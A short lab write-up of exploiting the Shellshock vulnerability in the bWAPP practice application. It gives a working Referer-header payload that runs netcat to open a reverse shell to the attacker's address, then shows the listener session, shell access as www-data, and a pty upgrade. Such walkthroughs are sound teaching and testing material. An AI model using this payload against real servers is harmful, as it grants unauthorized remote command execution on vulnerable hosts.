bWAPP Shellshock Vulnerability (CGI)

In bWAPP there is a module for the Shellshock vulnerability. Our goal is to successfully exploit the vulnerability and get remote access to the box.

Our payload will be a netcat reverse connect shell.

() { :;}; echo "TEST" $(/bin/bash -c "nc -e /bin/bash 192.168.56.1 8088")

We need to inject the above code in to the Referrer header of the http request.

On our end with set up a netcat listener and wait for a connect back from the remote host.

root@ubuntu:~# nc -l -v -p 8088
Listening on [0.0.0.0] (family 0, port 8088)
Connection from 192.168.56.101 38946 received!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@bee-box:/usr/lib/cgi-bin$ pwd
pwd
/usr/lib/cgi-bin
www-data@bee-box:/usr/lib/cgi-bin$ 

As you can see we got shell access.